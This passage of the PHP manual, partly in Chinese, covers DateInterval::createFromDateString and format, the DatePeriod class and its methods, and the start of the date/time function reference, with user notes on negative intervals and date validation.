I think it is easiest if you would just use the sub method on the DateTime class.

<?php
$date = new DateTime();
$date->sub(new DateInterval("P89D"));
daniellehr at gmx dot de 21-Mar-2012 01:06
Alternatively you can use DateInterval::createFromDateString() for negative intervals:

<?php
$date = new DateTime();
$date->add(DateInterval::createFromDateString('-89 days'));
jawzx01 at gmail dot com 21-Feb-2012 10:43
As previously mentioned, to do a negative DateInterval object, you'd code:

<?php
$date1 = new DateTime();
$eightynine_days_ago = new DateInterval( "P89D" );
$eightynine_days_ago->invert = 1; //Make it negative.
$date1->add( $eightynine_days_ago );
?>

and then $date1 is now 89 days in the past.
kevinpeno at gmail dot com 17-Mar-2011 11:47
Note that, while a DateInterval object has an $invert property, you cannot supply a negative directly to the constructor similar to specifying a negative in XSD ("-P1Y"). You will get an exception through if you do this.

Instead you need to construct using a positive interval ("P1Y") and the specify the $invert property === 1.
kuzb 04-Feb-2011 04:42
It should be noted that this class will not calculate days/hours/minutes/seconds etc given a value in a single denomination of time.  For example:

<?php
    $di = new DateInterval('PT3600S');
    echo $di->format('%H:%i:%s');

?>

will yield 0:0:3600 instead of the expected 1:0:0


Sets up a DateInterval from the relative parts of the string

  • ? DateInterval::__construct
  • DateInterval::format ?
  • PHP Manual
  • DateInterval
  • Sets up a DateInterval from the relative parts of the string

DateInterval::createFromDateString

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DateInterval::createFromDateString — Sets up a DateInterval from the relative parts of the string

说明

面向对象风格

public static DateInterval::createFromDateString(string $datetime): DateInterval|false

过程化风格

date_interval_create_from_date_string(string $datetime): DateInterval|false

Uses the date/time parsers as used in the DateTimeImmutable constructor to create a DateInterval from the relative parts of the parsed string.

参数

datetime

A date with relative parts. Specifically, the relative formats supported by the parser used for DateTimeImmutable, DateTime, and strtotime() will be used to construct the DateInterval.

To use an ISO-8601 format string like P7D, you must use the constructor.

返回值

Returns a new DateInterval instance on success, 或者在失败时返回 false.

更新日志

版本 | 说明
8.2.0 | Only the from_string and date_string properties will be visible when a DateInterval is created with this method.

示例

Example #1 Parsing valid date intervals

<?php
// Each set of intervals is equal.
$i = new DateInterval('P1D');
$i = DateInterval::createFromDateString('1 day');

$i = new DateInterval('P2W');
$i = DateInterval::createFromDateString('2 weeks');

$i = new DateInterval('P3M');
$i = DateInterval::createFromDateString('3 months');

$i = new DateInterval('P4Y');
$i = DateInterval::createFromDateString('4 years');

$i = new DateInterval('P1Y1D');
$i = DateInterval::createFromDateString('1 year + 1 day');

$i = new DateInterval('P1DT12H');
$i = DateInterval::createFromDateString('1 day + 12 hours');

$i = new DateInterval('PT3600S');
$i = DateInterval::createFromDateString('3600 seconds');
?>

Example #2 Parsing combinations and negative intervals

<?php
$i = DateInterval::createFromDateString('62 weeks + 1 day + 2 weeks + 2 hours + 70 minutes');
echo $i->format('%d %h %i'), "\n";

$i = DateInterval::createFromDateString('1 year - 10 days');
echo $i->format('%y %d'), "\n";
?>

以上示例会输出：

449 2 70
1 -10

Example #3 Parsing special relative date intervals

<?php
$i = DateInterval::createFromDateString('last day of next month');
var_dump($i);

$i = DateInterval::createFromDateString('last weekday');
var_dump($i);

以上示例在 PHP 8.2 中的输出：

object(DateInterval)#1 (2) {
  ["from_string"]=>
  bool(true)
  ["date_string"]=>
  string(22) "last day of next month"
}
object(DateInterval)#2 (2) {
  ["from_string"]=>
  bool(true)
  ["date_string"]=>
  string(12) "last weekday"
}

以上示例在 PHP 8 中的输出类似于：

object(DateInterval)#1 (16) {
  ["y"]=>
  int(0)
  ["m"]=>
  int(1)
  ["d"]=>
  int(0)
  ["h"]=>
  int(0)
  ["i"]=>
  int(0)
  ["s"]=>
  int(0)
  ["f"]=>
  float(0)
  ["weekday"]=>
  int(0)
  ["weekday_behavior"]=>
  int(0)
  ["first_last_day_of"]=>
  int(2)
  ["invert"]=>
  int(0)
  ["days"]=>
  bool(false)
  ["special_type"]=>
  int(0)
  ["special_amount"]=>
  int(0)
  ["have_weekday_relative"]=>
  int(0)
  ["have_special_relative"]=>
  int(0)
}
object(DateInterval)#2 (16) {
  ["y"]=>
  int(0)
  ["m"]=>
  int(0)
  ["d"]=>
  int(0)
  ["h"]=>
  int(0)
  ["i"]=>
  int(0)
  ["s"]=>
  int(0)
  ["f"]=>
  float(0)
  ["weekday"]=>
  int(0)
  ["weekday_behavior"]=>
  int(0)
  ["first_last_day_of"]=>
  int(0)
  ["invert"]=>
  int(0)
  ["days"]=>
  bool(false)
  ["special_type"]=>
  int(1)
  ["special_amount"]=>
  int(-1)
  ["have_weekday_relative"]=>
  int(0)
  ["have_special_relative"]=>
  int(1)
}

User Contributed Notes

There are no user contributed notes for this page.


Formats the interval

  • ? DateInterval::createFromDateString
  • DatePeriod ?
  • PHP Manual
  • DateInterval
  • Formats the interval

DateInterval::format

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DateInterval::format — Formats the interval

说明

public DateInterval::format(string $format): string

Formats the interval.

参数

format

The following characters are recognized in the format parameter string. Each format character must be prefixed by a percent sign (%).
format character | Description | Example values
% Literal % %
Y | Years, numeric, at least 2 digits with leading 0 | 01, 03
y | Years, numeric | 1, 3
M | Months, numeric, at least 2 digits with leading 0 | 01, 03, 12
m | Months, numeric | 1, 3, 12
D | Days, numeric, at least 2 digits with leading 0 | 01, 03, 31
d | Days, numeric | 1, 3, 31
a | Total number of days as a result of a DateTime::diff() or (unknown) otherwise | 4, 18, 8123
H | Hours, numeric, at least 2 digits with leading 0 | 01, 03, 23
h | Hours, numeric | 1, 3, 23
I | Minutes, numeric, at least 2 digits with leading 0 | 01, 03, 59
i | Minutes, numeric | 1, 3, 59
S | Seconds, numeric, at least 2 digits with leading 0 | 01, 03, 57
s | Seconds, numeric | 1, 3, 57
F | Microseconds, numeric, at least 6 digits with leading 0 | 007701, 052738, 428291
f | Microseconds, numeric | 7701, 52738, 428291
R Sign "-" when negative, "+" when positive -, +
r Sign "-" when negative, empty when positive -,

返回值

Returns the formatted interval.

更新日志

版本 | 说明
7.2.12 | The F and f format will now always be positive.
7.1.0 | The F and f format characters were added.

示例

Example #1 DateInterval example

<?php

$interval = new DateInterval('P2Y4DT6H8M');
echo $interval->format('%d days');

?>

以上示例会输出：

4 days

Example #2 DateInterval and carry over points

<?php

$interval = new DateInterval('P32D');
echo $interval->format('%d days');

?>

以上示例会输出：

32 days

Example #3 DateInterval and DateTime::diff() with the %a and %d modifiers

<?php

$january = new DateTime('2010-01-01');
$february = new DateTime('2010-02-01');
$interval = $february->diff($january);

// %a will output the total number of days.
echo $interval->format('%a total days')."\n";

// While %d will only output the number of days not already covered by the
// month.
echo $interval->format('%m month, %d days');

?>

以上示例会输出：

31 total days
1 month, 0 days

注释

Note:

The DateInterval::format() method does not recalculate carry over points in time strings nor in date segments. This is expected because it is not possible to overflow values like "32 days" which could be interpreted as anything from "1 month and 4 days" to "1 month and 1 day".

参见

  • DateTime::diff() - 返回两个 DateTime 之间的差值

User Contributed Notes

There are no user contributed notes for this page.


DatePeriod 类

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

简介

DatePeriod 类表示一个时间周期。

时间周期内允许对一组日期和时间进行迭代，在指定的时间间隔内定期重复。

类摘要

class DatePeriod implements IteratorAggregate {
/* 常量 */
public const int EXCLUDE_START_DATE;
public const int INCLUDE_END_DATE;
/* 属性 */
public readonly ?DateTimeInterface $start;
public readonly ?DateTimeInterface $current;
public readonly ?DateTimeInterface $end;
public readonly ?DateInterval $interval;
public readonly int $recurrences;
public readonly bool $include_start_date;
public readonly bool $include_end_date;
/* 方法 */
public __construct(
DateTimeInterface $start,
DateInterval $interval,
int $recurrences,
int $options = 0
)
public __construct(
DateTimeInterface $start,
DateInterval $interval,
DateTimeInterface $end,
int $options = 0
)
public __construct(string $isostr, int $options = 0)
public static createFromISO8601String(string $specification, int $options = 0): static
public getDateInterval(): DateInterval
public getEndDate(): ?DateTimeInterface
public getRecurrences(): ?int
public getStartDate(): DateTimeInterface
}

预定义常量

DatePeriod::EXCLUDE_START_DATE

在 DatePeriod::__construct() 构造函数中使用，排除开始时间。

DatePeriod::INCLUDE_END_DATE

在 DatePeriod::__construct() 构造函数中使用，包含结束时间。

属性

recurrences

迭代器返回的最小实例数。

如果在 DatePeriod 实例的构造函数中显式通过 recurrences 参数传递重复次数，然后此属性将包含该值，如果开始时间没有通过 DatePeriod::EXCLUDE_START_DATE 禁用，则该属性加 1，如果结束时间已经通过 DatePeriod::INCLUDE_END_DATE 启用，则该属性加 1。

如果没有显式传递重复次数，则此属性包含返回实例的最小数量。这将是 0，如果开始时间没有通过 DatePeriod::EXCLUDE_START_DATE 禁用，则该属性加 1，如果结束时间已经通过 DatePeriod::INCLUDE_END_DATE 启用，则该属性加 1。

<?php
$start = new DateTime('2018-12-31 00:00:00');
$end = new DateTime('2021-12-31 00:00:00');
$interval = new DateInterval('P1M');
$recurrences = 5;

// 通过构造函数显式设置重复次数
$period = new DatePeriod($start, $interval, $recurrences, DatePeriod::EXCLUDE_START_DATE);
echo $period->recurrences, "\n";

$period = new DatePeriod($start, $interval, $recurrences);
echo $period->recurrences, "\n";

$period = new DatePeriod($start, $interval, $recurrences, DatePeriod::INCLUDE_END_DATE);
echo $period->recurrences, "\n";

// 构造函数中没有设置重复次数
$period = new DatePeriod($start, $interval, $end);
echo $period->recurrences, "\n";

$period = new DatePeriod($start, $interval, $end, DatePeriod::EXCLUDE_START_DATE);
echo $period->recurrences, "\n";
?>

以上示例会输出：

5
6
7
1
0

参见：DatePeriod::getRecurrences()。

include_end_date

在循环过程中，是否包含结束时间。

include_start_date

在循环过程中，是否包含开始时间。

start

时间周期的开始时间。

current

表示在时间周期内迭代的时候，当前的时间。

end

时间周期的结束时间。

interval

ISO 8601 格式的间隔。

更新日志

版本 | 说明
8.2.0 | 新增 DatePeriod::INCLUDE_END_DATE 常量和 include_end_date 属性。
8.0.0 | 现在 DatePeriod 实现了（implement） IteratorAggregate。之前实现的是 Traversable。

Table of Contents

  • DatePeriod::__construct — Creates a new DatePeriod object
  • DatePeriod::createFromISO8601String — Creates a new DatePeriod object from an ISO8601 string
  • DatePeriod::getDateInterval — Gets the interval
  • DatePeriod::getEndDate — Gets the end date
  • DatePeriod::getRecurrences — Gets the number of recurrences
  • DatePeriod::getStartDate — Gets the start date

User Contributed Notes

mail at pascalhofmann dot de 19-Jan-2017 09:58
When looping over a DatePeriod object, the returned objects always implement DateTimeInterface. The exact type returned depends on how the DatePeriod was created. If $start was a DateTimeImmutable, the objects returned will be of type DateTimeImmutable. If a DateTime object was used, the objects returned will be of type DateTime.


Creates a new DatePeriod object

  • ? DatePeriod
  • DatePeriod::createFromISO8601String ?
  • PHP Manual
  • DatePeriod
  • Creates a new DatePeriod object

DatePeriod::__construct

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DatePeriod::__construct — Creates a new DatePeriod object

说明

public DatePeriod::__construct(
DateTimeInterface $start,
DateInterval $interval,
int $recurrences,
int $options = 0
)
public DatePeriod::__construct(
DateTimeInterface $start,
DateInterval $interval,
DateTimeInterface $end,
int $options = 0
)
Warning
public DatePeriod::__construct(string $isostr, int $options = 0)

This variant of the constructor has been deprecated, use DatePeriod::createFromISO8601String() instead.

Creates a new DatePeriod object.

DatePeriod objects can be used as an iterator to generate a number of DateTimeImmutable or DateTime object from a start date, a interval, and an end date or the number of recurrences.

The class of returned objects is equivalent to the DateTimeImmutable or DateTime ancestor class of the start object.

参数

start

The start date of the period. Included by default in the result set.

interval

The interval between recurrences within the period.

recurrences

The number of recurrences. The number of returned results is one higher than this, as the start date is included in the result set by default. Must be greater than 0.

end

The end date of the period. Excluded by default from the result set.

isostr

A subset of the » ISO 8601 repeating interval specification.

Examples of some ISO 8601 interval specification features that PHP does not support are:

  1. zero occurrences (R0/)
  2. time offsets other than UTC (Z), such as +02:00.
options

A bit field which can be used to control certain behaviour with start- and end- dates.

With DatePeriod::EXCLUDE_START_DATE you exclude the start date from the set of recurring dates within the period.

With DatePeriod::INCLUDE_END_DATE you include the end date in the set of recurring dates within the period.

错误／异常

Throws an DateMalformedPeriodStringException when the isostr cannot be parsed as a valid ISO 8601 period. Prior to PHP 8.3, this was Exception.

更新日志

版本 | 说明
8.3.0 | Now throws DateMalformedPeriodStringException instead of Exception.
8.2.0 | The DatePeriod::INCLUDE_END_DATE constant has been added.
7.2.19, 7.3.6, 7.4.0 | recurrences must be greater than 0 now.

示例

Example #1 DatePeriod example

<?php
$start = new DateTime('2012-07-01');
$interval = new DateInterval('P7D');
$end = new DateTime('2012-07-31');
$recurrences = 4;
$iso = 'R4/2012-07-01T00:00:00Z/P7D';

// All of these periods are equivalent.
$period = new DatePeriod($start, $interval, $recurrences);
$period = new DatePeriod($start, $interval, $end);
$period = new DatePeriod($iso);

// By iterating over the DatePeriod object, all of the
// recurring dates within that period are printed.
foreach ($period as $date) {
echo $date->format('Y-m-d')."\n";
}
?>

以上示例会输出：

2012-07-01
2012-07-08
2012-07-15
2012-07-22
2012-07-29

Example #2 DatePeriod example with DatePeriod::EXCLUDE_START_DATE

<?php
$start = new DateTime('2012-07-01');
$interval = new DateInterval('P7D');
$end = new DateTime('2012-07-31');

$period = new DatePeriod($start, $interval, $end,
DatePeriod::EXCLUDE_START_DATE);

// By iterating over the DatePeriod object, all of the
// recurring dates within that period are printed.
// Note that, in this case, 2012-07-01 is not printed.
foreach ($period as $date) {
echo $date->format('Y-m-d')."\n";
}
?>

以上示例会输出：

2012-07-08
2012-07-15
2012-07-22
2012-07-29

Example #3 DatePeriod example showing all last Thursdays in a year

<?php
$begin = new DateTime('2021-12-31');
$end = new DateTime('2022-12-31 23:59:59');

$interval = DateInterval::createFromDateString('last thursday of next month');
$period = new DatePeriod($begin, $interval, $end, DatePeriod::EXCLUDE_START_DATE);

foreach ($period as $dt) {
echo $dt->format('l Y-m-d'), "\n";
}
?>

以上示例会输出：

Thursday 2022-01-27
Thursday 2022-02-24
Thursday 2022-03-31
Thursday 2022-04-28
Thursday 2022-05-26
Thursday 2022-06-30
Thursday 2022-07-28
Thursday 2022-08-25
Thursday 2022-09-29
Thursday 2022-10-27
Thursday 2022-11-24
Thursday 2022-12-29

注释

Unbound numbers of repetitions as specified by ISO 8601 section 4.5 "Recurring time interval" are not supported, i.e. neither passing "R/..." as isostr nor passing null as end would work.

User Contributed Notes

There are no user contributed notes for this page.


Creates a new DatePeriod object from an ISO8601 string

  • ? DatePeriod::__construct
  • DatePeriod::getDateInterval ?
  • PHP Manual
  • DatePeriod
  • Creates a new DatePeriod object from an ISO8601 string

DatePeriod::createFromISO8601String

(PHP 8 >= 8.3.0)

DatePeriod::createFromISO8601String — Creates a new DatePeriod object from an ISO8601 string

说明

public static DatePeriod::createFromISO8601String(string $specification, int $options = 0): static

Creates a new DatePeriod object from an ISO8601 string, as specified with specification.

参数

specification

A subset of the » ISO 8601 repeating interval specification.

An example of an accepted ISO 8601 interval specifications is R5/2008-03-01T13:00:00Z/P1Y2M10DT2H30M, which specifies:

  • 5 iterations (R5/)
  • Starting at 2008-03-01T13:00:00Z.
  • Each iteration is an 1 year, 2 months, 10 days, 2 hours, and 30 minute interval (/P1Y2M10DT2H30M).

Examples of some ISO 8601 interval specification features that PHP does not support are:

  1. zero occurrences (R0/)
  2. time offsets other than UTC (Z), such as +02:00.
options

A bit field which can be used to control certain behaviour with start- and end- dates.

With DatePeriod::EXCLUDE_START_DATE you exclude the start date from the set of recurring dates within the period.

With DatePeriod::INCLUDE_END_DATE you include the end date in the set of recurring dates within the period.

返回值

Creates a new DatePeriod object.

DatePeriod objects created with this method can be used as an iterator to generate a number of DateTimeImmutable objects.

错误／异常

Throws an DateMalformedPeriodStringException when the specification cannot be parsed as a valid ISO 8601 period.

示例

Example #1 DatePeriod::createFromISO8601String example

<?php
$iso = 'R4/2023-07-01T00:00:00Z/P7D';

$period = DatePeriod::createFromISO8601String($iso);

// By iterating over the DatePeriod object, all of the
// recurring dates within that period are printed.
foreach ($period as $date) {
echo $date->format('Y-m-d'), "\n";
}
?>

以上示例会输出：

2023-07-01
2023-07-08
2023-07-15
2023-07-22
2023-07-29

User Contributed Notes

There are no user contributed notes for this page.


Gets the interval

  • ? DatePeriod::createFromISO8601String
  • DatePeriod::getEndDate ?
  • PHP Manual
  • DatePeriod
  • Gets the interval

DatePeriod::getDateInterval

(PHP 5 >= 5.6.5, PHP 7, PHP 8)

DatePeriod::getDateInterval — Gets the interval

说明

面向对象风格

public DatePeriod::getDateInterval(): DateInterval

Gets a DateInterval object representing the interval used for the period.

参数

此函数没有参数。

返回值

Returns a DateInterval object

示例

Example #1 DatePeriod::getDateInterval() example

<?php
$period = new DatePeriod('R7/2016-05-16T00:00:00Z/P1D');
$interval = $period->getDateInterval();
echo $interval->format('%d day');
?>

以上示例会输出：

1 day

参见

  • DatePeriod::getStartDate() - Gets the start date
  • DatePeriod::getEndDate() - Gets the end date

User Contributed Notes

There are no user contributed notes for this page.


Gets the end date

  • ? DatePeriod::getDateInterval
  • DatePeriod::getRecurrences ?
  • PHP Manual
  • DatePeriod
  • Gets the end date

DatePeriod::getEndDate

(PHP 5 >= 5.6.5, PHP 7, PHP 8)

DatePeriod::getEndDate — Gets the end date

说明

面向对象风格

public DatePeriod::getEndDate(): ?DateTimeInterface

Gets the end date of the period.

参数

此函数没有参数。

返回值

Returns null if the DatePeriod does not have an end date. For example, when initialized with the recurrences parameter, or the isostr parameter without an end date.

Returns a DateTimeImmutable object when the DatePeriod is initialized with a DateTimeImmutable object as the end parameter.

Returns a cloned DateTime object representing the end date otherwise.

示例

Example #1 DatePeriod::getEndDate() example

<?php
$period = new DatePeriod(
new DateTime('2016-05-16T00:00:00Z'),
new DateInterval('P1D'),
new DateTime('2016-05-20T00:00:00Z')
);
$start = $period->getEndDate();
echo $start->format(DateTime::ISO8601);
?>

以上示例会输出：

2016-05-20T00:00:00+0000

Example #2 DatePeriod::getEndDate() without an end date

<?php
$period = new DatePeriod(
new DateTime('2016-05-16T00:00:00Z'),
new DateInterval('P1D'),
7
);
var_dump($period->getEndDate());
?>

以上示例会输出：

NULL

参见

  • DatePeriod::getStartDate() - Gets the start date
  • DatePeriod::getDateInterval() - Gets the interval

User Contributed Notes

There are no user contributed notes for this page.


Gets the number of recurrences

  • ? DatePeriod::getEndDate
  • DatePeriod::getStartDate ?
  • PHP Manual
  • DatePeriod
  • Gets the number of recurrences

DatePeriod::getRecurrences

(PHP 7 >= 7.2.17/7.3.4, PHP 8)

DatePeriod::getRecurrences — Gets the number of recurrences

说明

面向对象风格

public DatePeriod::getRecurrences(): ?int

Get the number of recurrences.

参数

此函数没有参数。

返回值

The number of recurrences as set by explicitly passing the $recurrences to the contructor of the DatePeriod class, or null otherwise.

示例

Example #1 Different values for DatePeriod::getRecurrences()

<?php
$start = new DateTime('2018-12-31 00:00:00');
$end = new DateTime('2021-12-31 00:00:00');
$interval = new DateInterval('P1M');
$recurrences = 5;

// recurrences explicitly set through the constructor
$period = new DatePeriod($start, $interval, $recurrences, DatePeriod::EXCLUDE_START_DATE);
echo $period->getRecurrences(), "\n";

$period = new DatePeriod($start, $interval, $recurrences);
echo $period->getRecurrences(), "\n";

$period = new DatePeriod($start, $interval, $recurrences, DatePeriod::INCLUDE_END_DATE);
echo $period->getRecurrences(), "\n\n";

// recurrences not set in the constructor
$period = new DatePeriod($start, $interval, $end);
var_dump($period->getRecurrences());

$period = new DatePeriod($start, $interval, $end, DatePeriod::EXCLUDE_START_DATE);
var_dump($period->getRecurrences());
?>

以上示例会输出：

5
5
5

NULL
NULL

参见

  • DatePeriod::$recurrences

User Contributed Notes

There are no user contributed notes for this page.


Gets the start date

  • ? DatePeriod::getRecurrences
  • Date/Time 函数 ?
  • PHP Manual
  • DatePeriod
  • Gets the start date

DatePeriod::getStartDate

(PHP 5 >= 5.6.5, PHP 7, PHP 8)

DatePeriod::getStartDate — Gets the start date

说明

面向对象风格

public DatePeriod::getStartDate(): DateTimeInterface

Gets the start date of the period.

参数

此函数没有参数。

返回值

Returns a DateTimeImmutable object when the DatePeriod is initialized with a DateTimeImmutable object as the start parameter.

Returns a DateTime object otherwise.

示例

Example #1 DatePeriod::getStartDate() example

<?php
$period = new DatePeriod('R7/2016-05-16T00:00:00Z/P1D');
$start = $period->getStartDate();
echo $start->format(DateTime::ISO8601);
?>

以上示例会输出：

2016-05-16T00:00:00+0000

参见

  • DatePeriod::getEndDate() - Gets the end date
  • DatePeriod::getDateInterval() - Gets the interval

User Contributed Notes

There are no user contributed notes for this page.


Date/Time 函数

Table of Contents

  • checkdate — 验证一个格里高里日期
  • date_add — 别名 DateTime::add
  • date_create_from_format — 别名 DateTime::createFromFormat
  • date_create_immutable_from_format — 别名 DateTimeImmutable::createFromFormat
  • date_create_immutable — create a new DateTimeImmutable object
  • date_create — create a new DateTime object
  • date_date_set — 别名 DateTime::setDate
  • date_default_timezone_get — 取得脚本中所有日期/时间函数所使用的默认时区
  • date_default_timezone_set — 设置脚本中所有日期/时间函数使用的默认时区
  • date_diff — 别名 DateTime::diff
  • date_format — 别名 DateTime::format
  • date_get_last_errors — 别名 DateTimeImmutable::getLastErrors
  • date_interval_create_from_date_string — 别名 DateInterval::createFromDateString
  • date_interval_format — 别名 DateInterval::format
  • date_isodate_set — 别名 DateTime::setISODate
  • date_modify — 别名 DateTime::modify
  • date_offset_get — 别名 DateTime::getOffset
  • date_parse_from_format — Get info about given date formatted according to the specified format
  • date_parse — 返回指定日期/时间的详细信息的关联数组
  • date_sub — 别名 DateTime::sub
  • date_sun_info — Returns an array with information about sunset/sunrise and twilight begin/end
  • date_sunrise — 返回给定的日期与地点的日出时间
  • date_sunset — 返回给定的日期与地点的日落时间
  • date_time_set — 别名 DateTime::setTime
  • date_timestamp_get — 别名 DateTime::getTimestamp
  • date_timestamp_set — 别名 DateTime::setTimestamp
  • date_timezone_get — 别名 DateTime::getTimezone
  • date_timezone_set — 别名 DateTime::setTimezone
  • date — 格式化 Unix 时间戳
  • getdate — 获取日期/时间信息
  • gettimeofday — 取得当前时间
  • gmdate — 格式化 GMT/UTC 日期／时间
  • gmmktime — 取得 GMT 日期的 UNIX 时间戳
  • gmstrftime — 根据区域设置格式化 GMT/UTC 时间/日期
  • idate — 将本地日期/时间格式化为整数
  • localtime — 取得本地时间
  • microtime — 返回当前 Unix 时间戳和微秒数
  • mktime — 取得一个日期的 Unix 时间戳
  • strftime — 根据区域设置格式化本地时间/日期
  • strptime — 解析由 strftime 生成的日期／时间
  • strtotime — 将任何英文文本日期时间描述解析为 Unix 时间戳
  • time — 返回当前的 Unix 时间戳
  • timezone_abbreviations_list — 别名 DateTimeZone::listAbbreviations
  • timezone_identifiers_list — 别名 DateTimeZone::listIdentifiers
  • timezone_location_get — 别名 DateTimeZone::getLocation
  • timezone_name_from_abbr — Returns a timezone name by guessing from abbreviation and UTC offset
  • timezone_name_get — 别名 DateTimeZone::getName
  • timezone_offset_get — 别名 DateTimeZone::getOffset
  • timezone_open — 别名 DateTimeZone::__construct
  • timezone_transitions_get — 别名 DateTimeZone::getTransitions
  • timezone_version_get — 获取 timezonedb 版本

User Contributed Notes

There are no user contributed notes for this page.


验证一个格里高里日期

  • ? Date/Time 函数
  • date_add ?
  • PHP Manual
  • Date/Time 函数
  • 验证一个格里高里日期

checkdate

(PHP 4, PHP 5, PHP 7, PHP 8)

checkdate — 验证一个格里高里日期

说明

checkdate(int $month, int $day, int $year): bool

检查由参数构成的日期的合法性。如果每个参数都正确定义了则会被认为是有效的。

参数

month

month 的值是从 1 到 12。

day

Day 的值在给定的 month 所应该具有的天数范围之内，闰年已经考虑进去了。

year

year 的值是从 1 到 32767。

返回值

如果给出的日期有效则返回 true，否则返回 false。

示例

Example #1 checkdate() 例子

<?php
var_dump(checkdate(12, 31, 2000));
var_dump(checkdate(2, 29, 2001));
?>

以上示例会输出：

bool(true)
bool(false)

参见

  • mktime() - 取得一个日期的 Unix 时间戳
  • strtotime() - 将任何英文文本日期时间描述解析为 Unix 时间戳

User Contributed Notes

glavic at gmail dot com 12-Sep-2013 12:46
With DateTime you can make the shortest date&time validator for all formats.

<?php

function validateDate($date, $format = 'Y-m-d H:i:s')
{
    $d = DateTime::createFromFormat($format, $date);
    return $d && $d->format($format) == $date;
}

var_dump(validateDate('2012-02-28 12:12:12')); # true
var_dump(validateDate('2012-02-30 12:12:12')); # false
var_dump(validateDate('2012-02-28', 'Y-m-d')); # true
var_dump(validateDate('28/02/2012', 'd/m/Y')); # true
var_dump(validateDate('30/02/2012', 'd/m/Y')); # false
var_dump(validateDate('14:50', 'H:i')); # true
var_dump(validateDate('14:77', 'H:i')); # false
var_dump(validateDate(14, 'H')); # true
var_dump(validateDate('14', 'H')); # true

var_dump(validateDate('2012-02-28T12:12:12+02:00', 'Y-m-d\TH:i:sP')); # true
# or
var_dump(validateDate('2012-02-28T12:12:12+02:00', DateTime::ATOM)); # true

var_dump(validateDate('Tue, 28 Feb 2012 12:12:12 +0200', 'D, d M Y H:i:s O')); # true
# or
var_dump(validateDate('Tue, 28 Feb 2012 12:12:12 +0200', DateTime::RSS)); # true
var_dump(validateDate('Tue, 27 Feb 2012 12:12:12 +0200', DateTime::RSS)); # false
# ...


别名 DateTime::add

  • ? checkdate
  • date_create_from_format ?
  • PHP Manual
  • Date/Time 函数
  • 别名 DateTime::add

date_add

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

date_add — 别名 DateTime::add()

说明

此函数是该函数的别名： DateTime::add()

User Contributed Notes

There are no user contributed notes for this page.


别名 DateTime::createFromFormat

  • ? date_add
  • date_create_immutable_from_format ?
  • PHP Manual
  • Date/Time 函数
  • 别名 DateTime::createFromFormat

date_create_from_format

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

date_create_from_format — 别名 DateTime::createFromFormat()

说明

此函数是该函数的别名： DateTime::createFromFormat()

User Contributed Notes

There are no user contributed notes for this page.


别名 DateTimeImmutable::createFromFormat

  • ? date_create_from_format
  • date_create_immutable ?
  • PHP Manual
  • Date/Time 函数
  • 别名 DateTimeImmutable::createFromFormat

date_create_immutable_from_format

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

date_create_immutable_from_format — 别名 DateTimeImmutable::createFromFormat()

说明

此函数是该函数的别名： DateTimeImmutable::createFromFormat()

User Contributed Notes

There are no user contributed notes for this page.


create a new DateTimeImmutable object

  • ? date_create_immutable_from_format
  • date_create ?
  • PHP Manual
  • Date/Time 函数
  • create a new DateTimeImmutable object

date_create_immutable

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

date_create_immutable — create a new DateTimeImmutable object

说明

date_create_immutable(string $datetime = "now", ?DateTimeZone $timezone = null): DateTimeImmutable|false

This is the procedural version of DateTimeImmutable::__construct().

Unlike the DateTimeImmutable constructor, it will return false instead of an exception if the passed in datetime string is invalid.

参数

See DateTimeImmutable::__construct.

返回值

Returns a new DateTimeImmutable instance 或者在失败时返回 false

参见

  • DateTimeImmutable::createFromFormat() - Parses a time string according to a specified format

User Contributed Notes

There are no user contributed notes for this page.


create a new DateTime object

  • ? date_create_immutable
  • date_date_set ?
  • PHP Manual
  • Date/Time 函数
  • create a new DateTime object

date_create

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

date_create — create a new DateTime object

说明

date_create(string $datetime = "now", ?DateTimeZone $timezone = null): DateTime|false

This is the procedural version of DateTime::__construct().

Unlike the DateTime constructor, it will return false instead of an exception if the passed in datetime string is invalid.

参数

See DateTimeImmutable::__construct.

返回值

Returns a new DateTime instance 或者在失败时返回 false

参见

  • DateTimeImmutable::__construct() - Returns new DateTimeImmutable object
  • DateTimeImmutable::createFromFormat() - Parses a time string according to a specified format
  • DateTime::__construct() - 返回新的 DateTime 对象

User Contributed Notes

A. Go 16-Mar-2019 11:26
Notice php by default assume the give string as such format:
'-'    is    'y-m-d'
'/'    is    'm/d/y'

Unless the given string has Y or M,
that is year is written as full year '2019', or month is written as English shorthand 'Jan',
the default assumption will be applied, where the date might be incorrect.

The following code show a quick test: (true as of php 7.2)
$date = [
    '2019-1-3',
    '19-1-3',
    '3-1-2019',
    '3-Jan-19',
    '3-1-19', //php assume as y-m-d not d-m-y

    '2019-3-1',
    '19-3-1',
    '1-3-2019',
    '1-3-19',

    '2019/3/1',
    '19/3/1', //fail, php think is month 19
    '1/3/2019', //php think is m/d/y
    '1/3/19'
];

//Y-M-d
foreach($date as $i => $d){
    echo $i ."\r\n";
    var_dump(date_format(date_create($d), 'Y-M-d'));
    echo "\r\n";
}


别名 DateTime::setDate

  • ? date_create
  • date_default_timezone_get ?
  • PHP Manual
  • Date/Time 函数
  • 别名 DateTime::setDate

date_date_set

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

date_date_set — 别名 DateTime::setDate()

说明

此函数是该函数的别名： DateTime::setDate()

User Contributed Notes

There are no user contributed notes for this page.


取得脚本中所有日期/时间函数所使用的默认时区

  • ? date_date_set
  • date_default_timezone_set ?
  • PHP Manual
  • Date/Time 函数
  • 取得脚本中所有日期/时间函数所使用的默认时区

date_default_timezone_get

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

date_default_timezone_get — 取得脚本中所有日期/时间函数所使用的默认时区

说明

date_default_timezone_get(): string

本函数按照如下顺序返回默认时区：

  • 读取使用 date_default_timezone_set() 函数设置的时区（如果设置了的话）

  • 读取 date.timezone ini 选项的值（如果设置了的话）

如果以上选择都不成功，date_default_timezone_get() 会则返回默认时区 UTC 。

参数

此函数没有参数。

返回值

返回 string。

示例

Example #1 获取默认时区

<?php
date_default_timezone_set('Europe/London');

if (date_default_timezone_get()) {
echo 'date_default_timezone_set: ' . date_default_timezone_get() . '<br />';
}

if (ini_get('date.timezone')) {
echo 'date.timezone: ' . ini_get('date.timezone');
}

?>

